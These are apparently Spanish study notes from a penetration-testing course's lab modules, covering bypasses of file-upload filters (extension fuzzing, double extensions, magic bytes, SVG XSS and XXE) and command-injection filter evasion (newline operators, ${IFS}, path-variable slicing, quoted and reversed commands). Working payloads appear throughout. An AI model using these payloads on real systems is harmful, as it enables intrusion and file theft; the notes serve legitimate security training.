![[Pasted image 20260721151107.png]]![[Pasted image 20260721151115.png]]
- Al mirar la solicitud vemos un POST hacia /upload.php
- Modificamos la peticion cambiando el
filename="HTB.png" y cambiamos el contenido del png por un webshell:
![[Pasted image 20260721151334.png]]
Deshabilitar la validacion del frontend
Otro metodo es deshabilitar la validacion del frontend
- Inspeccionar > Elements y vamos a la parte donde se encuentra el input de la imagen
![[Pasted image 20260721151509.png]]![[Pasted image 20260721151521.png]]
Pero esta parte es facilmente saltable al poder seleccionar All Files
- Lo que nos interesa es el
checkFile(this). Console > escribimos checkFile y vemos la funcion. Esta revisa la extension de lo que se sube y si no es permitido salta un mensaje de que no esta permitido
![[Pasted image 20260721151748.png]]
- Simplemente eliminamos la funcion volviendo al Inspect > Elements y dejamos el
onchange=""
![[Pasted image 20260721151905.png]]
Tambien podriamos hacer lo mismo con el accept
Estas modificaciones son temporales
4. Subimos el archivo. Vamos de nuevo al inspector o al codigo fuente y vemos el src de la img
![[Pasted image 20260721152020.png]]
- Por ultimo visitamos el sitio web y usamos la webshell
![[Pasted image 20260721152115.png]]
Ejemplo practico
- Visitamos la pagina
![[Pasted image 20260721152155.png]]
- Miramos el codigo fuente y encontramos la validacion en onsumbit. Si lo validate da true pasa a upload
![[Pasted image 20260721152835.png]]
- Miramos validate que coge el archivo subido, lo parte a partir del
. en 2 partes. Si la extension es jpg, jpeg o png devuelve true y si no el error de subida mas false
![[Pasted image 20260721152857.png]]![[Pasted image 20260721152928.png]]
- Para bypassear todo primero quitamos la parte de validate() del onsumbit y dejamos vacio el accept
![[Pasted image 20260721154059.png]]![[Pasted image 20260721153054.png]]
- Subimos el archivo, miramos el src donde se encuentra y al visitarlo tenemos el webshell que hemos subido
![[Pasted image 20260721153420.png]]
![[Pasted image 20260721153142.png]]
![[Pasted image 20260721154126.png]]
![[Pasted image 20260721154159.png]]
CPTS
3. Explotacion WEB / 8. File Uploads Attacks / 3. Bypassing Filters
2. Filtros De Lista Negra
En este caso tambien contamos con validadores de control en el backend donde no podemos manipularlo directamente
En este caso tiene una lista negra de extensiones permitidas para prevenir la subida de scripts a la web
Poner extensiones en una lista negra
Primero intentaremos hacer una de las evasiones del lado de cliente aprendida. Interceptaremos la solicitud con Burp y reemplazaremos el contenido y el nombre del archivo con los nuevos scripts PHP y reenviaremos la solicitud
![[Pasted image 20260721154947.png]]
Como hemos visto no pudimos subirla lo que indica que hay una validacion en el servidor web. Hay 2 tipos de validaciones:
Ademas tambien se puede validar el tipo de archivo o el tipo de contenido. Un ejemplo de lista negra es:
![[Pasted image 20260721155155.png]]
Fuzzing de extensiones
Usaremos Web Extensions del seclist o PHP y .NET
En burp en la solicitud retenida lo mandamos a Intruder y ponemos el puntero en la extension del filename
![[Pasted image 20260721155336.png]]
Como payload pondremos el Web Extensions y le damos a empezar
![[Pasted image 20260721155417.png]]
Extensiones no incluidas en la lista negra
Las que no esten incluidas nos habran dado File successfully uploaded
No todas igualmente funcionaran. Usamos varias hasta que funciones y cambiamos el contenido del png por un webshell:
![[Pasted image 20260721155557.png]]
Visitamos el webshell y ejecutamos comandos:
![[Pasted image 20260721155613.png]]
Ejemplo practico
- Porbamos lo de antes pero vemos que no funciona
![[Pasted image 20260721155737.png]]![[Pasted image 20260721155749.png]]
![[Pasted image 20260721155817.png]]
- Tratamos de subir una imagen y capturamos la solicitud para mandarla a intruder y hacer fuzzing de extensiones
![[Pasted image 20260721161224.png]]
![[Pasted image 20260721161313.png]]
![[Pasted image 20260721161333.png]]
![[Pasted image 20260721160338.png]]![[Pasted image 20260721160353.png]]
- Como nos da muchas, vamos probando hasta que phar fue la que nos permitio el webshell
![[Pasted image 20260721162906.png]]
![[Pasted image 20260721162920.png]]
- Consguimos la flag
![[Pasted image 20260721162854.png]]![[Pasted image 20260721162941.png]]
CPTS
3. Explotacion WEB / 8. File Uploads Attacks / 3. Bypassing Filters
3. Filtros De Lista Blanca
Es mas segura normalmente que una lista negra ya que solo permite extensiones especificadas
Extensiones en lista blanca
Vamos a probar subir un archivo con la extension .phar de antes y vemos que no funciona porque pone solo imagenes
![[Pasted image 20260721184337.png]]
Vamos a tratar de usar fuzzing para encontrar las extensiones que se estan usando:
![[Pasted image 20260721184421.png]]
Vemos que todas las .php estan bloqueadas. Ejemplo de codigo en el backend
![[Pasted image 20260721184506.png]]
El problema de este regex es que solo mira si contiene esta extension pero no si termina en ella
Extensiones dobles
Podemos usar .jpg.php y cumpliria con el codigo
![[Pasted image 20260721184728.png]]
Ahora si vamos a la ruta de subida podemos usar el webshell:
![[Pasted image 20260721184806.png]]
Esto no siempre funciona porque el REGEX puede ser muy estricto:
![[Pasted image 20260721184903.png]]
Extension doble inversa
Puede que la funcion de subida de archivos sea totalmente segura pero la configuracion del sitio web de lugar a vulnerabilidades
Ejemplo de archivo de configuracion de Apache con una configuracion insegura:
![[Pasted image 20260721185049.png]]
Este especifica que extensiones de archivos no permite la ejecucion de codigo especificando una lista que coincide con .phar, .php, .phtml pero que comete el mismo error de antes (Cualquier archivo con estas extensiones podra ejecutar codigo por ejemplo .php.jpg). Este pasaria porque termina en .jpg
![[Pasted image 20260721185356.png]]
![[Pasted image 20260721185403.png]]
Inyecciones de caracteres
Podemos inyectar varios caracteres antes y despues de cada extension para hacer que la aplicacion web lo malinterprete:
%20
%0a
%00 –> PHP 5.X o anterior –> shell.php%00.jpg –> shell.php
%0d0a
/
.\
.
…
: –> shell.asp:.jpg –> shell.asp
Codigo bash que genera todas las permutaciones:
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
for ext in '.php' '.phps'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done
Con esta lista podemos usarla en Intruder
Ejemplo practico
- Visitamos la pagina web y subimos una imagen. Capturamos la solicitud HTTP con burp y la enviamos a Intruder
![[Pasted image 20260721190051.png]]
![[Pasted image 20260721190105.png]]
- Primero probamos extensiones normales y no funciono
![[Pasted image 20260721190603.png]]
![[Pasted image 20260721190320.png]]
- Luego dobles extensiones y tampoco
![[Pasted image 20260721190845.png]]![[Pasted image 20260721190853.png]]
- Por ultimo dobles extensiones inversas y funciono
![[Pasted image 20260721191014.png]]![[Pasted image 20260721191040.png]]![[Pasted image 20260721191122.png]]
- Casi todas daban permitido pero buscabamos el que no fuese un FP de PHP ya que sabemos que ejecuta PHP. Encontramos el .phtml
![[Pasted image 20260721191825.png]]
- Nos dirigimos a la ruta donde se suben y usamos el webshell para obtener la flag
![[Pasted image 20260721191844.png]]![[Pasted image 20260721191856.png]]
CPTS
3. Explotacion WEB / 8. File Uploads Attacks / 3. Bypassing Filters
4. Tipos De Filtros
Hasta ahora los filtros solo consideraban las extensiones
Content Type
Muchos tambien miran el Content Type
Estos filtros solo pueden servir para especificar una unica categoria
- Intentamos subir un script PHP
![[Pasted image 20260721192559.png]]
Vemos el mensaje de solo imagenes que persiste aunque usemos .jpg,phtml y otras extensiones o incluso si ponemos simplemente shell.jpg
Esto es porque esta verificando el Content Type:
![[Pasted image 20260721192714.png]]
- Realizamos un fuzzing de Content Type
Lista de palabras de Content-Type
wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt
Como solo nos pide imagenes:
cat web-all-content-types.txt | grep 'image/' > image-content-types.txt
![[Pasted image 20260721192843.png]]
- Obtenemos el webshell
![[Pasted image 20260721192904.png]]
Las solicitudes HTTP pueden tener 2 Content Type: uno arriba que se refiere a toda la solicitud y otra abajo que se refiere al archivo. El fuzzing suele ser al segundo
Tipo MIME
Estandar de internet que determina el tipo de archivo que es a traves de su formato y estructura de bytes
Se suele inspeccioanr los primeros bytes que contienen la firma de archivo (file signature) o los bytes mágicos (magic bytes)
Ejemplo: aunque pongamos la extension .jpg sigue siendo un ASCII text
![[Pasted image 20260721193503.png]]
Pero si le ponemos primero la GIF8 se convierte en un GIF image data:
![[Pasted image 20260721193551.png]]
Esto se hace porque hay servidores que usan el estandar MIME para determinar los tipos de archivo lo que suele ser mas preciso que las extensiones:
![[Pasted image 20260721193633.png]]
Si tratamos de repetir el ataque de antes no dara ressultado porque interpretara que es un PHP:
![[Pasted image 20260721193721.png]]
Pero si le ponemos los bytes magicos de GIF8 si funcionara:
![[Pasted image 20260721193755.png]]![[Pasted image 20260721193801.png]]![[Pasted image 20260721193806.png]]
Lista de bytes magicos
JPEG y JPG : FF D8 FF
PNG : 89 50 4E 47 0D 0A 1A 0A
GIF : 47 49 46 38 37 61
GIF : 47 49 46 38 39 61
BMP : 42 4D
WEBP : RIFF….WEBP
ICO : 00 00 01 00
TIFF : 49 49 2A 00
TIFF : 4D 4D 00 2A
Si no funcionan podemos usar su version legible para humanos
JPEG y JPG : \xFF\xD8\xFF
PNG : \x89PNG\r\n\x1A\n
GIF87 : GIF87a
GIF89 : GIF89a
BMP : BM
WEBP : RIFF….WEBP
ICO : \x00\x00\x01\x00
CUR : \x00\x00\x02\x00
TIFF : II*\x00
TIFF : MM\x00*
JP2 : \x00\x00\x00\x0CjP\x20\x20
HEIC : ….ftypheic
AVIF : ….ftypavif
SVG : <?xml … <svg … (no tiene bytes mágicos fijos)
Ejemplo practico
- Visitamos la pagina web
![[Pasted image 20260721193911.png]]
- Subimos una foto e intercetamos la solicitud HTTP
![[Pasted image 20260721193944.png]]
- Al interceptarla cambiamos el contenido por un webshell en PHP, ponemos Bytes Magicos de GIF8 y lo mandamos al Intruder
![[Pasted image 20260721194106.png]]
- En el intruder intentamos dobles extensiones inversas
![[Pasted image 20260721194938.png]]![[Pasted image 20260721194943.png]]
- Obtuvimos resultado con las dobles extensiones. Lo mandamos al Repeater
![[Pasted image 20260721195016.png]]
![[Pasted image 20260721195031.png]]
- En el repeater vamos probando hasta que nos diga que se ha subido correctamente. Despues miramos la ruta donde se encuentra la imagen y accedemos a ella
![[Pasted image 20260721195048.png]]
![[Pasted image 20260721195112.png]]
- Al ir a la ruta parecia que no funcionaba por lo que probamos en el Intruder con dobles extensiones normales que tambien dieron resultados. Despues lo mandamos al repeater y probamos hasta que una se suba correctamente
![[Pasted image 20260721195358.png]]
![[Pasted image 20260721195412.png]]
![[Pasted image 20260721195425.png]]
- Visitamos la ruta y capturamos la flag
![[Pasted image 20260721195441.png]]![[Pasted image 20260721195453.png]]
CPTS
3. Explotacion WEB / 8. File Uploads Attacks / 4. Otros Ataques De Uploads
1. Subida De Archivos Limitadas
Solo permiten la subida de archivos especificos
Hay ciertas extensiones como SVG, HTML, XML o algunas de imagen y documentos pueden permitirnos introducir nuevas vulns en la aplicacion web
XSS
Muchos tipos de archivos nos pueden permitir introducir una vuln de XSS Almacenado (Stored)
-
El ejemplo mas basico es cuando nos dejan subir archivos .HTML. Aunque no podamos ejecutar codigo PHP, aun podemos ejecutar codigo JS para realizar un XSS o CSRF a quien visite la pagina HTML subida
-
Otro ejhemplo son aplicaciones que muestras los metadatos de una imagen despues de subirla. Podemos usar exiftool -Comment=‘XSS EN JS’
Modificar los metadatos:
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
![[Pasted image 20260722151942.png]]
Ademas si cambiamos el MIME-Type de image a text/html, la aplicacion web puede mostrarla como un domcumento HTML en lugar de una imagen en cuyo caso el payload XSS se activara
- Tambien se pueden llevar a cabo con imagenes SVG (Imagenes de graficos vectoriales escalables) basadas en XML y describen graficos vectoriales 2D
Podemos modificar los datos XML para incluir un payload XSS en el archivo HTB.svg:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
<rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
<script type="text/javascript">alert(window.origin);</script>
</svg>
![[Pasted image 20260722152342.png]]
Cada vez que se muestre la imagen en la pagina web se ejecutara
XXE
Con imagenes SVG podemos incluir datos XML para exfiltrar el codigo fuente de la aplicacion y otros documentos. Ejemplo para /etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
![[Pasted image 20260722152533.png]]
Una vez subida la imagen y se visite la pagina web, veremos el contenido del archivo impresa o en el codigo fuente
Podemos usarlo para leer el codigo fuente de aplicaciones web PHP:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
![[Pasted image 20260722152923.png]]
Otros archivos que usan XML para especificar formato y estructura:
Ejemplo practico
La aplicacion web tiene una funcionalidad de subida de archivos que deberia ser segura contra archivos arbitrarios. Trata de explotarla y leer /flag.txt
Trata de leer el codigo fuente de upload.php para identificar el directorio de subidas y usa el nombre de respuesta
- Creamos un archivo .svg porque es el que acepta el upload con el codigo en XML que nos permita leer archivos locales
![[Pasted image 20260722153546.png]]
![[Pasted image 20260722154619.png]]
![[Pasted image 20260722153553.png]]
- Lo subimos y miramos el codigo fuente donde se ve el contenido del archivo. Ahora leemos la flag
![[Pasted image 20260722153546.png]]![[Pasted image 20260722153608.png]]
![[Pasted image 20260722153700.png]]![[Pasted image 20260722153716.png]]
![[Pasted image 20260722153729.png]]
- Ahora tratamos de leer upload.php. Al mirar el codigo fuente obtendremso el BASE64 que al decodificarlo nos dara el codigo y ahi se encuentra el directorio de subida
![[Pasted image 20260722154319.png]]
![[Pasted image 20260722154457.png]]![[Pasted image 20260722154509.png]]
![[Pasted image 20260722154448.png]]
CPTS
3. Explotacion WEB / 8. File Uploads Attacks / 5. Skill Assessment
1. Skill Assessment
Solo probaremos los formularios de subida de archivos
Intenta eludir las validaciones front y backend para conseguir RCE
Trata de leer la flag en /
- Visitamos la pagina web y en /contact vemos que podemos subir una imagen
![[Pasted image 20260722214520.png]]![[Pasted image 20260722214544.png]]
- Mirando Wappalyzer vemos que es un Apache por lo que lo mas normal es que ejecute codigo PHP
![[Pasted image 20260722214557.png]]
- Mirando el codigo fuente de /contact vemos la funcion onchange=checkFile y que acept solo .jpg, .jpeg y .png
![[Pasted image 20260722215233.png]]
- Revisamos la funcion checkFile y vemos que solo permite extensiones de imagenes
![[Pasted image 20260722215258.png]]![[Pasted image 20260722215316.png]]
- Para que nos deje subir lo que queramos borramos ambas y esto lo mantendremos durante todo el pentest para poder subir diferentes extensiones y probar
![[Pasted image 20260722215357.png]]
- Aun asi al darle al boton de subir me dice que la extension no esta permitida por lo que vamos a probar mas cosas:
![[Pasted image 20260722215840.png]]
![[Pasted image 20260722215726.png]]
- Con los cambios realizados en el fron encedemos el burp, subimos una imagen y le damos al boton verde para capturar la solicitud HTTP
![[Pasted image 20260722214636.png]]
![[Pasted image 20260722214711.png]]
![[Pasted image 20260722215933.png]]![[Pasted image 20260722215959.png]]
- Modificamos el contendio para que tenga Bytes magicos y el contenido de un shell web. Lo mandamos a intruder
![[Pasted image 20260722220053.png]]
- Dentro de intruder probamos con dobles extensiones y dobles extensiones inversas pero nada
![[Pasted image 20260722220123.png]]![[Pasted image 20260722220153.png]]
![[Pasted image 20260722220221.png]]![[Pasted image 20260722220248.png]]
- Tambien probamos con bytes que escapan las extensiones pero nada tampoco
![[Pasted image 20260722220710.png]]![[Pasted image 20260722220717.png]]
![[Pasted image 20260722220852.png]]
![[Pasted image 20260722220845.png]]![[Pasted image 20260722220914.png]]
- Como vemos que trata con XML probamos a usar XML con la extension .svg y recuperar el codigo fuente de upload.php
![[Pasted image 20260722222358.png]]![[Pasted image 20260722222346.png]]
- Aqui vemos varias medidas: que no contenga php, phps o phtml, que termine en g y que el content type sea image
![[Pasted image 20260722222449.png]]
Tambien mira el header de los archivos pero no dice que bytes magicos permite:
![[Pasted image 20260722223047.png]]
- Creamos una consulta en la que cumplimos todo pero nos dice que no podemos seguro es por los bytes magicos:
![[Pasted image 20260722223116.png]]
- Probamos con los bytes magicos de PNG en formato legible para humanos y nada
![[Pasted image 20260722223926.png]]
- Probamos a crear un archivo .phar.png con bytes magicos de PNG desde 0 y lo subimos teniendo las restricciones del frontend eliminadas. Esto funciona
![[Pasted image 20260722224213.png]]
![[Pasted image 20260722224251.png]]
![[Pasted image 20260722224243.png]]![[Pasted image 20260722224310.png]]
- Mirando el codigo de upload vemos que el directorio donde se almacena es en: ./user_feedback_submissions y que le añade YEARMONTHDAY_nombre al archivo por lo que se debe encontrar en /contact/user_feedback_submissions/260722_shell.phar.png
![[Pasted image 20260722224733.png]]
- Ejecutamos los comandos necesarios para obtener la flag a traves del webshell
![[Pasted image 20260722225111.png]]
![[Pasted image 20260722225131.png]]![[Pasted image 20260722225142.png]]
CPTS
3. Explotacion WEB / 9. Command Injection / 1. Introduccion
Introduccion A Las Inyecciones De Comandos
Nos permite ejecutar comandos en el backend
Que son las inyecciones
Ocurren cuando una entrada controlada por el usuario es malinterpretada como parte de una consulta web o del codigo que se esta ejecutando
Tipos de inyecciones:
![[Pasted image 20260723120035.png]]
Otros: inyeccion LDAP, inyeccion NoSQL, inyeccion de cabeceras HTTP… Siempre que la entrada de un usuario se utilice dentro de una consulta sin ser sanetizada adecuadamente
Inyecciones de comandos del SO
La entrada de usuario debe ir directa o indirectamente a una consulta web que ejecuta comandos del sistema
Todos los lenguajes de programacion tienen funciones que permiten ejecutar comandos en el sistema
PHP
Funciones: exec, system, shell_exec, passthru o popen
![[Pasted image 20260723120356.png]]
En este ejemplo permite a los usuarios crear un archivo .pdf en el directorio /tmp con el nombre del archivo seleccionado
Como al entrada filename es usada en el touch directamente sin ser sanetizada, la aplicacion web se vuelve vulnerable
NodeJS
Funciones: child_process.exec o child_process.spawn
![[Pasted image 20260723120625.png]]
En este ejemplo coge del GET el filename sin sanetizar para crear un archivo .txt en /tmp
CPTS
3. Explotacion WEB / 9. Command Injection / 2. Explotacion
1. Deteccion
Intentamos añadir nuestro comando a traves de varios metodos de inyeccion. Si la salida del comando cambia el resultado previsto entonces hemos explotado la vuln con exito
Para inyecciones mas avanzadas se pueden usar metodos de fuzzing, revision de codigo… para identificar mas vulns
Despues se construye un payload que nos permita ejecutar el comando que queramos
Deteccion de la inyeccion de comandos
En este ejemplo tenemos una aplicacion de Host Checker en el que pasamos una IP:
![[Pasted image 20260723121014.png]]
Si ponemos 127.0.0.1 y le damos a check vemos la salida de un comando ping hacia el localhost:
![[Pasted image 20260723121054.png]]
Aunque no tengamos acceso al codigo, podemos suponer que se ve tal que asi:
![[Pasted image 20260723121130.png]]
Metodos de inyeccion
![[Pasted image 20260723121156.png]]
Con estos operadores se ejecutaran ambos comandos
La entrada se veria asi:
IP OPERADOR COMANDO
Ejemplo practico
Trata de usar inyeccion de comandos en el campo IP. Que error nos sale en Ingles
- Visitamos la pagina web y probamos a poner el localhost. Vemos la salida del ping
![[Pasted image 20260723121451.png]]![[Pasted image 20260723121505.png]]
- Probamos a poner un operador y otro comando pero nos da un error de que no matchea el formato
![[Pasted image 20260723121533.png]]
CPTS
3. Explotacion WEB / 9. Command Injection / 2. Explotacion
2. Inyeccion De Comandos
Por ahora hemos descubierto que el Host Checker ejecuta comandos en el host
Inyectando nuestro comando
Vamos a probar con:
127.0.0.1;whoami
En el host se vera asi:
![[Pasted image 20260723121803.png]]
Si lo intentamos primero en nuestro host local vemos que funciona:
![[Pasted image 20260723121825.png]]
Si lo probamos en la aplicacion web vemos que esta falla porque no matchea el formato:
![[Pasted image 20260723121912.png]]
Sin embargo por como se ve el error parece que es cosa del frontend. Si miramos en Inspect > Network no vemos ninguna conexion hacia el host destino, ni siquiera si le volvemos a dar al check:
![[Pasted image 20260723122022.png]]
Omitiendo la validacion del frontend
Activamos el burp y vamos a enviar una peticion con un formato que si acepte la aplicacion para que envie una solicitud HTTP al webserver que podamos interceptar. Una vez interceptada la mandamos al Repeater:
![[Pasted image 20260723122207.png]]
Desde aqui modificamos el valor del data del POST añadiendo OPERADORCOMANDO:
![[Pasted image 20260723122412.png]]
Como se ve se han ejecutado los dos y se ve el resultado del whoami en la respuesta
Ejemplo practico
Revisa el codigo fuente de la aplicacion y di el numero de linea donde se encuentra la validacion de entrada del frontend:
- Miramos el codigo fuente y encontramos que se valida un patron en el input de ip en la linea 17
![[Pasted image 20260723122725.png]]
- Tratamos de capturar una solicitud HTTP valida con burp. La mandamos al repeater y usamos un operador para ejecutar otro comando y explotar la inyeccion de comandos
![[Pasted image 20260723122557.png]]
![[Pasted image 20260723122705.png]]![[Pasted image 20260723122756.png]]
CPTS
3. Explotacion WEB / 9. Command Injection / 2. Explotacion
3. Otros Operadores De Inyeccion
Operador AND o &&
ENTRADA && COMANDO
![[Pasted image 20260723123234.png]]
![[Pasted image 20260723123238.png]]
![[Pasted image 20260723123250.png]]
Operador OR o ||
Este ejecuta el segundo comando solo si el primero no se ejecuta, por lo que el primero debe dar error
Ejemplo donde solo se ejecuta el primero:
![[Pasted image 20260723123354.png]]
Ejemplo donde el segundo se ejecuta debido a que el primero da error:
![[Pasted image 20260723123438.png]]![[Pasted image 20260723123446.png]]
Mas operadores
![[Pasted image 20260723123515.png]]
Ejemplo practico
Trata de usar operadores de NUEVA LINEA, & y | y mira como funcionan y como la salida difiere
NUEVA LINEA –> \n o %0a
![[Pasted image 20260723123752.png]]
AND –> && o %26%26
![[Pasted image 20260723123853.png]]
OR –> ||
![[Pasted image 20260723124009.png]]
CPTS
3. Explotacion WEB / 9. Command Injection / 3. Evasion De Filtros
1. Identificando De Filtros
Otra mitigacion es usar blacklists y whitelists de caracteres y palabras en el backend
Otra capa adicional seria añadir WAFs que pueden prevenir de otros tipos de inyecciones tambien
Deteccion de Filtros/WAF
Vamos a testear con ; && || y veremos que nos da Invalid Input:
![[Pasted image 20260723124710.png]]
Esto nos indica que algo de lo que enviamos fue denegado a traves del PHP
Si la salida hubiera sido otra pagina diferente con nuestra IP y nuestra peticion = WAF
Revisemos lo que hemos enviado para descartar cosas:
![[Pasted image 20260723124925.png]]
- IP –> no esta en la lista negra porque se puede enviar sola
- ; –> caracter
- Espacio en blanco –> caracter
- whoami –> comando
Es posible que la aplicacion haya detectado alguna de estas 3 en una lista negra
Caracteres en lista negra
Un ejemplo de codigo de lista negra de backend se podria ver asi:
![[Pasted image 20260723125103.png]]
Identificacion del caracter de lista negra
Reduzcamos el payload a solo la IP y un caracter 127.0.0.1;:
![[Pasted image 20260723125149.png]]
Nos sigue dando invalid input por lo que sabemos que al menos el caracter esta en la lista negra
Ejemplo practico
Trata de usar operadores y encontrar el que no esta en la lista negra \n && ||
- Tratamos de poner 127.0.0.1 y funciona
![[Pasted image 20260723125355.png]]
- Interceptamos la solicitud y lo enviamos al repeater
![[Pasted image 20260723125430.png]]
- Probamos todos los caracteres y el que funciona es el de nueva linea
![[Pasted image 20260723130023.png]]
![[Pasted image 20260723130007.png]]![[Pasted image 20260723125921.png]]
CPTS
3. Explotacion WEB / 9. Command Injection / 3. Evasion De Filtros
2. Bypassing Filtros De Espacios
Evasion de operadores en lista negra
La mayoria de operadores estaran en listas negras pero el de salto de linea no suele estarlo y funciona tanto en linux como en windows
![[Pasted image 20260723130318.png]]
Como vemos al introducir \n sigue funcionando por lo que no esta dentro de la lista negra
Evasion de espacios en lista negra
Si tratamos de poner 127.0.0.1%0a+COMANDO nos dira Invalid Input por lo que hay mas filtros que evadir
Si ponemos solo 127.0.0.1%0a+ nos sigue diciendo Invalid Input por lo que seguramente sea el espacio lo que da error
Usando tabuladores (%09)
Usaremos los tabuladores en vez de espacios que funciona tanto en linux como en windows:
![[Pasted image 20260723130548.png]]
Vemos que funciona
Usando ${IFS} (%0a${IFS})
Es una variable de Linux ya que su valor predeterminado es un espacio y un tabulador
![[Pasted image 20260723130732.png]]
Usando la expansion de llaves
En Linux añade espaciones entre los argumentos
![[Pasted image 20260723130830.png]]
127.0.0.1%0a{ls,-la}
PayloadsAllTheThings –> mas evasiones de filtros
Ejemplo practico
Usa lo que has aprendido para ejecutar ls -la y decir cual es el tamaño de index.php
Pruebas:
Tabulador+{}
127.0.0.1%0a%09{ls,-la}
![[Pasted image 20260723131300.png]]
Tabulador+Tabulador
127.0.0.1%0a%09ls%09-la
![[Pasted image 20260723131357.png]]
IFS+IFS –> no funciona -la solo ls
![[Pasted image 20260723131518.png]]
IFS+{}
127.0.0.1%0a%0a${IFS}{ls,-la}
![[Pasted image 20260723131548.png]]
{}+{} –> no funciona porque solo separa argumentos
{127.0.0.1%0a,{ls,-la}}
![[Pasted image 20260723131716.png]]
CPTS
3. Explotacion WEB / 9. Command Injection / 3. Evasion De Filtros
3. Bypassing Otras Caracteres De Blacklist
Otros caracteres que suelen estar incluidos en listas negras son / o \ ya que son necesarios para especificar rutas
Linux
Podemos usar variables del entorno y acortar su contenido para que muestren el caracter que queremos:
![[Pasted image 20260723143241.png]]
Si le ponemos una longitud del 0-1
echo ${PATH:0:1}
![[Pasted image 20260723143259.png]]
En el payload no añadiremos echo
Se puede hacer lo mismo con otras variables como $HOME o $PWD
![[Pasted image 20260723143403.png]]
Vamos a usar el siguiente payload:
127.0.0.1${LS_COLORS:10:1}${IFS}
Que en realidad se veria:
127.0.0.1;ESPACIO
![[Pasted image 20260723143507.png]]
Windows
Usaremos el mismo concepto
CMD: especificamos la posicion de inicio 6 y la posicion negativa 11 (contanto desde atras). Si la rita es \Users\htb-student
![[Pasted image 20260723143531.png]]
PS: se usan arrays y sus posiciones
![[Pasted image 20260723143703.png]]
Con Get-ChildItem Env: se muestran todas las variables de entorno
Desplazamiento de caracteres
Linux:
- Miramos la tabla ascii
man ascii
- Si queremos \ esta en la posicion 92 despues de [
echo $(tr '!-}' '"-~'<<<[)
![[Pasted image 20260723144033.png]]
Windows PS:
[char](([int][char]'[') + 1)
Ejemplo practico
Usa lo aprendido para leer el nombre de usuario en /home
- Interceptamos la solicitud valida HTTP y lo mandamos al repeater
![[Pasted image 20260723144500.png]]
![[Pasted image 20260723144510.png]]
- Probamos a enviarlo normal y funciona
![[Pasted image 20260723144527.png]]
- Probamos a añadir &&ls pero falla
![[Pasted image 20260723144554.png]]
- Probamos con IFS y ls, funciona
![[Pasted image 20260723144728.png]]
- Probamos con IFS + ls -la con espacio pero falla por el espacio porque despues probamos usando {ls,-la} y funciona
![[Pasted image 20260723144746.png]]
![[Pasted image 20260723144808.png]]
- Sabiendo que {ls,-la} funciona, probamos {ls,/home} pero falla. Por lo que falla debido a /
![[Pasted image 20260723144828.png]]
- Usamos el acortamiento de variables de entorno y funciona el siguiente payload: 127.0.0.1%0a${IFS}{ls,${PATH:0:1}home}
![[Pasted image 20260723144948.png]]
CPTS
3. Explotacion WEB / 9. Command Injection / 3. Evasion De Filtros
4. Bypassing Comandos De Blacklist
Generalmente consiste en una lista de palabras de comandos para que no podamos usarlos
Igualmente hay forma de ofuscar estas palabras y que bypassen los filtros
Lista negra de comandos
Sabiendo que el codigo es el siguiente:
![[Pasted image 20260723145804.png]]
Vamos a intentar poner el siguiente payload:
127.0.0.1%0awhoami
![[Pasted image 20260723145730.png]]
Ahora sabemos que no es por el caracter sino que es por el comando whoami
Linux y Windows
w'h'o'am'i
![[Pasted image 20260723145928.png]]
w"h"o"am"i
![[Pasted image 20260723150000.png]]
![[Pasted image 20260723150102.png]]
Solo Linux
![[Pasted image 20260723150159.png]]
Solo Windows
- Usando
^
![[Pasted image 20260723150520.png]]
Ejemplo practico
Usa lo que sabes para obtener la /home/1nj3c70r/flag.txt
- Sabiendo que el payload
127.0.0.1%0a${IFS}{ls,${PATH:0:1}home} funciono vamos a usar ahora:
127.0.0.1%0a${IFS}{cat,${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt}
![[Pasted image 20260723150800.png]]
- Sabiendo que todo lo demas funciona pero hemos cambiado cat por ls puede que este filtrado el comando cat por lo que usaremos
'
127.0.0.1%0a${IFS}{c'a't,${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt}
![[Pasted image 20260723150910.png]]
CPTS
3. Explotacion WEB / 9. Command Injection / 3. Evasion De Filtros
5. Ofuscacion Avanzada De Comandos
En algunos casos podemos encontrarnos con filtros avanzados, WAFs y las tecnicas basicas pueden no funcionar
Manipulacion de mayusculas y minusculas
Usar todas mayuculas o alternarlas. Esto suele funcionar para listas negras de palabras que tengan case sensitive:
- Windows permite la variacion porque PS y CMD no diferencia entre mayusculas y minusculas
![[Pasted image 20260723151134.png]]
- Linux tenemos que ser mas creativos porque la bash es case-sensitive
$(tr "[A-Z]" "[a-z]"<<<"COMANDO")
![[Pasted image 20260723151329.png]]
tr reemplaza los caracteres en mayuscula por minuscualas. Pero si lo usamos en el Host Checker veremos que esta bloqueado:
![[Pasted image 20260723151432.png]]
Esto se debe a que el comando tiene espacios que como vimos son caracteres que no le gusta:
![[Pasted image 20260723151523.png]]
Otro comando que podemos usar es:
(a="COMANDO";printf %s "${a,,}")
![[Pasted image 20260723151556.png]]
Comandos invertidos
Invertimos el comando en nuestra shell y luego le damos la vuelta
echo 'COMANDO' | rev
![[Pasted image 20260723151658.png]]
$(rev<<<'imaohw')
![[Pasted image 20260723151737.png]]
![[Pasted image 20260723151747.png]]
"COMANDO"[-1..-20] -join ''
![[Pasted image 20260723151821.png]]
iex "$('imaohw'[-1..-20] -join '')"
![[Pasted image 20260723151836.png]]
Comandos codificados
- Linux:
Podemos usar varias herramientas de codificacion como base64 o xxd (codificacion hexadecimal)
echo -n 'COMANDO' | base64
![[Pasted image 20260723153500.png]]
